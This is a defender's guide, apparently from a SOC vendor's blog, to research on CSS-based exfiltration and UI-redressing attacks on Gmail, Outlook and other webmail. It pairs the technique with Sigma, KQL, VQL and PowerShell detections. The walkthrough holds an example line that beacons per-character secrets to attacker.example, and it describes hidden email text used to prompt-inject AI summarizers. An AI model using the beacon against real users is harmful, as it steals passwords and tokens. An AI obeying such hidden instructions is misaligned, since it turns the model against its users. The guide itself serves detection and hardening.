CSS Exfiltration Attacks Against Gmail, Outlook, and Proton Mail: Detection and Hardening Guide for Defenders

PortSwigger researcher Gareth Heyes has disclosed a new class of attacks that weaponize CSS — yes, cascading style sheets — to break the isolation between email message content and the webmail interface that renders it. The research demonstrates working attack chains against Microsoft Outlook, Gmail, Fastmail, Proton Mail, Yahoo Mail, and AOL Mail — essentially the entire webmail landscape your users live in.

The impact is not theoretical. According to the research, these techniques can:

• Capture user passwords
• Take over third-party accounts
• Leak authentication and anti-CSRF tokens
• Hijack trusted UI actions (clickjacking/UI redressing within the mail client itself)
• Manipulate AI assistants and summarization tools that ingest email content

That last point deserves your attention in 2026. As organizations deploy LLM-powered assistants that read, summarize, and act on email, an attacker who can smuggle instructions and styling tricks past the sanitizer gains a second victim: the AI agent operating with your user's privileges. This is prompt injection meets dangling markup injection, delivered through the oldest attack vector in the book — a malicious email.

Every SOC should treat this as an active, relevant threat class: no CVE has been assigned, no single patch closes it, and the exploitation primitives (CSS attribute selectors, dangling markup, sanitizer bypasses) are well-documented and publicly available.

Technical Analysis

Affected Products and Platforms

The research demonstrates attack chains spanning:

Any organization whose users read HTML email in a browser — which is to say, every organization — has exposure. Mobile webmail views and embedded WebView renderers compound the risk because they often apply weaker sanitization than desktop interfaces.

How the Attack Works (Defender's View)

Webmail providers sanitize incoming HTML: they strip <script>, event handlers, and dangerous tags, then render the surviving markup inside a constrained container. This research shows that CSS is the weak seam in that model. The attack chain works in stages:

1. Sanitizer bypass via CSS. CSS is routinely permitted in sanitized email (for legitimate formatting). Attackers abuse @import, external font/background URLs, and — critically — CSS attribute selectors such as input[value^="a"] to test secrets one character at a time.
2. Message-boundary escape. Crafted markup (dangling/unclosed tags, quote-breaking attribute injection) causes the mail body's content to bleed into the surrounding webmail DOM. The email is no longer contained — it can restyle, overlay, or re-parent interface elements.
3. Token and password theft. Once attacker CSS shares a DOM with the webmail UI, hidden form fields, anti-CSRF tokens, and even password managers' autofill behavior become observable. CSS attribute selectors fire per-character requests to an attacker-controlled server (background-image: url(https://attacker.example/leak?c=a) when input[value^="a"] matches), reconstructing secrets byte-by-byte — no JavaScript required.
4. UI redressing. Attacker-controlled styling overlays fake buttons, login dialogs, or consent prompts on top of trusted webmail controls, harvesting credentials or tricking users into account-recovery flows for third-party services.
5. AI tool manipulation. Maliciously styled or hidden content (e.g., text rendered invisible via CSS to humans but present in the DOM) is ingested by AI summarizers and assistants, enabling indirect prompt injection against tools that read mail.

Exploitation Requirements

• Victim opens a crafted HTML email in a webmail client (user interaction: open/view only — some chains require preview-pane rendering)
• Attacker controls an external server to receive CSS-triggered exfil beacons
• No malware, no attachments, no macros — the payload is the message body itself

Exploitation Status

• CVE/CVSS: None assigned as of publication. This is a research disclosure of a technique class, not a single patchable flaw.
• CISA KEV: Not listed.
• Status: Public research with demonstrated multi-vendor attack chains. Vendors have been engaged through disclosure, but defenders should assume the primitives are now in red-team and criminal toolkits. Treat as techniques available in the wild, not a theoretical exercise.

Detection & Response

Detection here is genuinely hard — the malicious payload executes inside the browser sandbox of a trusted site, and there is no endpoint process to alert on. Honest assessment: your best telemetry is email gateway content inspection, proxy/DNS logs for exfil beacons, and post-compromise signals (inbox rules, impossible travel, third-party account recovery events). The detections below target the observable artifacts: CSS exfil beacon patterns in network logs, dangerous HTML constructs in mail flow, and common post-exploitation behavior in Microsoft 365.

Sigma Rules

---
title: CSS Attribute-Selector Exfiltration Beacon in Proxy Logs
id: 3f8a2c71-9d4e-4b6a-a1c2-7e5f9b0d3a44
status: experimental
description: Detects web requests consistent with CSS-based secret exfiltration, where per-character token probes are sent as query parameters to an external host (e.g., background-image URLs triggered by input[value^=] selectors). Look for repeated short requests with single-character or incrementing query values from mail user-agents.
references:
  - https://thehackernews.com/2026/08/new-css-attacks-can-break-webmail.html
  - https://portswigger.net/research
author: Security Arsenal
date: 2026/08/15
tags:
  - attack.exfiltration
  - attack.t1048
logsource:
  category: proxy
detection:
  selection_uri_pattern:
    c-uri-query|re: '(token|secret|leak|c|v|val|char)=[A-Za-z0-9+/=_-]{1,4}$'
  selection_suspicious_path:
    cs-uri-stem|re: '/(leak|exfil|collect|beacon|pixel|css|token)[/?]'
  condition: selection_uri_pattern and selection_suspicious_path
falsepositives:
  - Legitimate tracking pixels and analytics beacons with short query parameters
  - Tune by correlating with rare destination domains and user-agent strings from webmail sessions
level: medium
---
title: Dangling Markup Injection Pattern in Outbound Request URL
id: 8c1d5e92-4a7b-4f3d-b9e6-2d8c1a4f7b55
status: experimental
description: Detects URL-encoded unclosed HTML tags or quote-breaking attribute injection in request URIs, a hallmark of dangling markup exfiltration where a page's DOM is coerced into leaking data into an attacker URL.
references:
  - https://thehackernews.com/2026/08/new-css-attacks-can-break-webmail.html
author: Security Arsenal
date: 2026/08/15
tags:
  - attack.exfiltration
  - attack.t1189
logsource:
  category: proxy
detection:
  selection_encoded:
    c-uri|contains:
      - '%3Cimg'
      - '%3Cform'
      - '%3Cinput'
      - '%22%3E%3C'
      - '%27%3E%3C'
      - '%3Cstyle'
  condition: selection_encoded
falsepositives:
  - Developer tooling and security scanners transmitting markup samples
  - Rare; investigate source host and destination domain when seen from end-user workstations
level: high

KQL (Microsoft Sentinel / Defender)

This query hunts for CSS-exfil beaconing visible in network telemetry: a burst of small outbound connections from a single device to a rare external host within a short window shortly after webmail activity. It also surfaces suspicious inbox rules, the most common post-credential-theft action in M365 tenants.

// Hunt 1: Burst of small outbound requests to rare external hosts (CSS per-char exfil pattern)
let WebmailDomains = dynamic(["outlook.office.com", "outlook.live.com", "mail.google.com", "mail.proton.me", "mail.yahoo.com"]);
let RareDests = DeviceNetworkEvents
| where Timestamp > ago(24h)
| summarize ConnCount = count() by RemoteUrl, RemoteIP
| where ConnCount between (20 .. 2000)   // per-character probing produces many small hits
| project RemoteUrl, RemoteIP;
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ ("msedge.exe", "chrome.exe", "firefox.exe", "brave.exe")
| join kind=inner RareDests on RemoteUrl, RemoteIP
| summarize FirstSeen = min(Timestamp), LastSeen = max(Timestamp), Hits = count(),
    DistinctPaths = dcount(RemoteUrl) by DeviceName, AccountName, RemoteIP, RemoteUrl
| where Hits >= 25
| order by Hits desc;

// Hunt 2: Post-compromise signal — suspicious inbox forwarding/redirect rules created after token theft
CloudAppEvents
| where Timestamp > ago(7d)
| where ActionType in ("New-InboxRule", "Set-InboxRule", "UpdateInboxRules")
| extend RuleParams = tostring(RawEventData.Parameters)
| where RuleParams has_any ("ForwardTo", "RedirectTo", "ForwardAsAttachmentTo")
   and RuleParams has_any ("@gmail.com", "@outlook.com", "@proton.me", "@yahoo.com", ".onion", "@tempmail", "@mailinator")
| project Timestamp, AccountDisplayName, ActionType, RuleParams, IPAddress, UserAgent
| order by Timestamp desc;

// Hunt 3: Third-party account takeover telemetry — mass password-reset/recovery emails arriving
EmailEvents
| where Timestamp > ago(48h)
| where Subject has_any ("reset your password", "password reset", "verify your identity", "account recovery", "security code")
| summarize Resets = count(), DistinctSenders = dcount(SenderFromAddress) by RecipientEmailAddress
| where Resets >= 3 and DistinctSenders >= 2
| order by Resets desc;

Velociraptor VQL

On endpoints, the most useful artifact is browser history: CSS exfil leaves a trail of rapid, sequential hits to an unfamiliar single-purpose domain interleaved with webmail sessions. This artifact extracts recent Chrome/Edge history and flags rare domains visited many times in one session window alongside webmail.

-- Hunt browser history for CSS-exfil beacon patterns near webmail sessions
LET history = SELECT * FROM Artifact.Windows.Forensics.Favicon() LIMIT 1

LET hits = SELECT
timespec(epoch=last_visit_time / 1000000 - 11644473600) AS VisitTime,
url, title
FROM foreach(
row={
SELECT FullPath FROM glob(globs="C:/Users/*/AppData/Local/*/Chrome/User Data/*/History")
+ glob(globs="C:/Users/*/AppData/Local/Microsoft/Edge/User Data/*/History")
},
query={
SELECT url, title, last_visit_time
FROM sqlite(file=FullPath, query="SELECT url, title, last_visit_time FROM urls WHERE last_visit_time > 0 ORDER BY last_visit_time DESC LIMIT 20000")
})

SELECT VisitTime, url,
parse_string_with_regex(string=url, regex="^https?://([^/]+)").g1 AS Domain,
count(item=Domain) OVER () AS DomainHits
FROM hits
WHERE DomainHits > 15
AND NOT Domain =~ "(google|microsoft|office|live|bing|apple|cloudflare|akamai|gstatic|windows|mozilla)"
AND url =~ "(token|secret|leak|collect|beacon|css|\\?c=|\\?v=)"
ORDER BY VisitTime DESC

Remediation Script

This PowerShell script audits the Microsoft 365 side of the problem: it enumerates inbox forwarding rules (the top post-credential-theft IOC), flags external forwarding, and checks organization settings that reduce blast radius.

#Requires -Modules ExchangeOnlineManagement
# Audit inbox rules and external forwarding — run after suspected token/credential theft via webmail
Connect-ExchangeOnline

$report = @()
$mailboxes = Get-EXOMailbox -ResultSize Unlimited -RecipientTypeDetails UserMailbox

foreach ($mbx in $mailboxes) {
$rules = Get-InboxRule -Mailbox $mbx.UserPrincipalName -ErrorAction SilentlyContinue
foreach ($rule in $rules) {
$external = $false
foreach ($prop in 'ForwardTo','RedirectTo','ForwardAsAttachmentTo') {
if ($rule.$prop) {
$targets = @($rule.$prop) | ForEach-Object { $_.ToString() }
foreach ($t in $targets) {
if ($t -match '@' -and $t -notmatch [regex]::Escape(($mbx.PrimarySmtpAddress -split '@')[1])) {
$external = $true
}
}
}
}
if ($external -or $rule.DeleteMessage -or $rule.MarkAsRead) {
$report += [PSCustomObject]@{
Mailbox = $mbx.UserPrincipalName
RuleName = $rule.Name
ExternalForward = $external
DeletesMail = $rule.DeleteMessage
ForwardTo = ($rule.ForwardTo -join '; ')
RedirectTo = ($rule.RedirectTo -join '; ')
Enabled = $rule.Enabled
}
}
}
}

$report | Export-Csv -Path ".\SuspiciousInboxRules_$(Get-Date -Format yyyyMMdd).csv" -NoTypeInformation
$report | Format-Table -AutoSize

# Check org-level auto-forwarding posture (should be Off or controlled)
Get-HostedOutboundSpamFilterPolicy | Select-Object Name, AutoForwardingMode
Get-RemoteDomain | Select-Object DomainName, AutoForwardEnabled

# Recommended hardening if findings exist:
# Set-HostedOutboundSpamFilterPolicy -Identity Default -AutoForwardingMode Off
# Then force password resets + revoke sessions: Revoke-AzureADUserAllRefreshToken (per affected user)

Remediation

There is no single patch — remediation is layered. Prioritize in this order:

1. Email Gateway / Sanitization Controls (Highest Leverage)

• Configure your secure email gateway (Proofpoint, Mimecast, Defender for Office 365, etc.) to strip or neutralize dangerous HTML/CSS constructs in inbound mail: <style> blocks with @import or external URL references, <link rel="stylesheet"> tags, inline styles containing url(), <form> elements, and unclosed/dangling markup.
• Where business process allows, offer a plain-text or sanitized-HTML viewing mode for external mail. Several providers now support this; pilot it with high-risk populations (executives, finance, IT admins).
• Enable remote content blocking by default in mail clients. CSS exfil requires outbound fetches — blocking automatic remote image/font loading kills the beacon channel. In Exchange Online, verify Get-OwaMailboxPolicy | Select *ExternalImageProxyEnabled* and use the external image proxy where available.

2. Browser / Network Egress Controls

• Enforce a Content Security Policy-aware proxy and alert on image/font loads from end-user browsers to domains with no business reputation (newly registered, single-purpose hosts). CSS exfil domains are almost always attacker-registered and rare in your environment — a strong hunting signal.
• Deploy DNS filtering to catch beacon domains; per-character exfil generates distinctive query bursts.

3. Identity Hardening (Blast-Radius Reduction)

• Phishing-resistant MFA (FIDO2/passkeys) for all webmail-accessible accounts. Stolen passwords and session tokens are the endgame of these attacks; hardware-bound credentials blunt password capture entirely.
• Enable token protection / Conditional Access session controls (Continuous Access Evaluation in M365) so leaked session tokens age out quickly and fail outside compliant contexts.
• Disable external auto-forwarding tenant-wide (AutoForwardingMode Off) and alert on any new inbox rule with external redirect targets.

4. AI Tool Governance

• Inventory which AI assistants, summarizers, and copilots have access to user mailboxes. Apply least-privilege scoping, strip hidden/styled content before ingestion where your tooling allows, and treat AI-processed email output as untrusted input in downstream workflows. Indirect prompt injection via email is now a demonstrated attack path — govern accordingly.

5. Vendor Tracking and User Guidance

• Monitor security advisories from Microsoft, Google, Proton, Fastmail, and Yahoo for sanitizer fixes addressing this research. Subscribe to PortSwigger Research updates — Gareth Heyes' publications typically include the technical specifics vendors patch against.
• Brief users: unexpected password-reset emails, login dialogs appearing inside the mail reading pane, and visual oddities (misaligned buttons, odd overlays) when opening email should be reported immediately — UI redressing within webmail is designed to look native.

6. IR Playbook Update

If you suspect successful credential or token theft via this vector:

1. Revoke all refresh tokens/sessions for the affected user; force password reset.
2. Audit inbox rules, delegates, and OAuth app consents granted in the exposure window.
3. Review sign-in logs for impossible travel and token-replay indicators.
4. Hunt proxy/DNS logs for beacon domains contacted by the victim's browser session.
5. Check for third-party account recovery events (Hunt 3 above) — account-takeover chaining is an explicit goal of this research.

Related Resources

Security Arsenal Managed SOC Services AlertMonitor Platform Book a SOC Assessment soc-mdr Intel Hub